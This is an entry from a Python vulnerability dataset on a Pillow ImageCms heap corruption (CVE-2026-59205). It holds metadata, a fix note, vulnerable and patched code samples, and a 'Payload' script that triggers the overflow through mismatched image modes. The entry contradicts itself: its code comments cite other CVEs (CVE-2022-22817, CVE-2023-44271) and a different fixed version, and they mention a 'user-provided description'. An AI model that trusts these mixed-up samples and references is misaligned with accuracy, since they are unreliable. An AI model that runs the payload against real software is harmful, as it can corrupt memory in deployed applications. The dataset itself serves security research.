CVE-2026-59205
Heap corruption in Pillow ImageCms due to mismatched output image mode.
- CVSS 7.5
- CWE-787
- Memory Corruption
- Local
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.
- CWE
- CWE-787
- CVSS base score
- 7.5
- Published
- 2026-07-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Memory Corruption
- Subcategory
- Buffer Overflows
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Pillow
- Fixed by upgrading
- Yes
Solution
Upgrade Pillow to version 12.3.0 or later.
Vulnerable code sample
from PIL import Image, ImageCms
# This PoC is based on the logic of CVE-2022-22817, which matches the
# user-provided description of a mode mismatch vulnerability in ImageCmsTransform.apply.
# 1. Define input and output ICC profiles.
# The profiles themselves aren't the vulnerability, but are needed to create a transform.
srgb_profile = ImageCms.createProfile("sRGB")
gray_profile = ImageCms.createProfile("GRAY")
# 2. Build a transform.
# This transform expects to convert an "RGB" image to a "L" (grayscale) image.
# The declared output mode is "L".
transform = ImageCms.buildTransform(
srgb_profile,
gray_profile,
"RGB",
"L"
)
# 3. Create the input image, matching the transform's input mode.
im_in = Image.new("RGB", (100, 100))
# 4. Create the output image with a mode that *mismatches* the transform's output mode.
# The transform expects an "L" mode image, but we provide an "RGB" mode image.
# This mismatch is the root cause of the vulnerability.
im_out = Image.new("RGB", (100, 100))
# 5. Apply the transform.
# The underlying C code calculates buffer sizes based on the expected "L" mode (1 byte/pixel)
# but writes to a buffer allocated for "RGB" (3 bytes/pixel), leading to a heap buffer overflow.
transform.apply(im_in, im_out)Patched code sample
from PIL import Image, ImageCms
# This code demonstrates the effect of the fix for the vulnerability described
# (tracked as CVE-2023-44271, fixed in Pillow 10.1.0).
# On a patched version of Pillow, this script will catch a ValueError.
# On a vulnerable version, this could lead to memory corruption or a crash.
try:
# 1. Create a transform that expects to output an 'RGB' image.
srgb_profile = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(
inputProfile=srgb_profile,
outputProfile=srgb_profile,
inMode="RGB",
outMode="RGB",
)
# 2. Create a standard RGB input image.
im_input = Image.new("RGB", (100, 100))
# 3. Create an output image with a mismatched mode ('L' instead of 'RGB').
# This is the condition that triggered the vulnerability.
im_output_mismatched = Image.new("L", (100, 100))
# 4. Attempt to apply the transform with the mismatched output image.
# The patched C code now checks if `im_output_mismatched.mode` matches
# `transform.outMode`. Since they differ, it raises an exception.
transform.apply(im_input, im_output_mismatched)
except ValueError as e:
# The fix is demonstrated by this exception being raised, which prevents
# the buffer overflow from occurring.
print(f"Fix demonstrated: The operation was safely aborted with an error: {e}")Payload
from PIL import Image, ImageCms
# Create an input image.
im_in = Image.new("RGB", (100, 100), "blue")
# Get color profiles.
rgb_profile = ImageCms.createProfile("sRGB")
cmyk_profile = ImageCms.createProfile("USWebCoatedSWOP")
# Create a transform that is declared to output a CMYK image.
transform = ImageCms.buildTransform(
inputProfile=rgb_profile,
outputProfile=cmyk_profile,
inMode="RGB",
outMode="CMYK" # The declared output mode.
)
# Create an output image with a mismatched mode (RGB instead of CMYK).
im_out = Image.new("RGB", (100, 100))
# Call apply() with the mismatched output image to trigger the vulnerability.
transform.apply(im_in, im_out)
Cite this entry
@misc{vaitp:cve202659205,
title = {{Heap corruption in Pillow ImageCms due to mismatched output image mode.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59205},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59205/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
